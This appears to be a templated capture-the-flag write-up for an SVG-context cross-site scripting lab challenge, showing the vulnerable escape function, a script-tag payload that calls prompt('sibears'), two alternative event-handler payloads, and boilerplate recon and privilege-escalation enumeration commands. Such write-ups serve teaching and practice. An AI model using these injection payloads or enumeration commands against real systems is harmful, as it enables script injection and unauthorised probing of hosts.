Easy 3
Easy 3
Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: svg_context_xss, svg_script_injection
Summary
SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
web-kids20| ID:20260309_web_kids20_sibearsxss3 - Tags: xss, svg, sibears, svg_xss, inline_script
- Indicators: SVG context, user input inside SVG element, SVG namespace
- Source:
20260309_web_kids20_sibearsxss3.md
Foothold
Vulnerability / Misconfiguration
- Svg_context_xss
- Svg_script_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- svg_context_xss
- svg_script_injection
- Tags: xss, svg, sibears, svg_xss, inline_script
Original Writeup
<details><summary>Click to expand original content</summary>Description
SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").
URL: http://109.233.56.90:11659/xss/easy/3
Analysis
The escape function places user input inside an SVG document:
function escape(s) {
return '<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle>' + s + ' </svg>';
}
Key feature: SVG (Scalable Vector Graphics) is an XML-based format that supports embedded scripts. Unlike regular HTML context, SVG allows using the <script> tag directly inside it.
SVG and JavaScript:
- SVG supports inline
<script>tags - Scripts inside SVG execute in the page context
- This makes SVG potentially dangerous with user input
Solution
Payload — simply add a script tag inside SVG:
<script>prompt("sibears")</script>
Resulting HTML:
<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle><script>prompt("sibears")</script> </svg>
Breakdown:
- SVG context allows embedding
<script>tags - Script executes when SVG is rendered
- No need to escape the context — just add the script
Alternative payloads for SVG:
<script>prompt("sibears")</script>— direct script<foreignObject><body onload=prompt("sibears")></foreignObject>— via foreignObject<animate onbegin=prompt("sibears")>— via SVG animation events
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR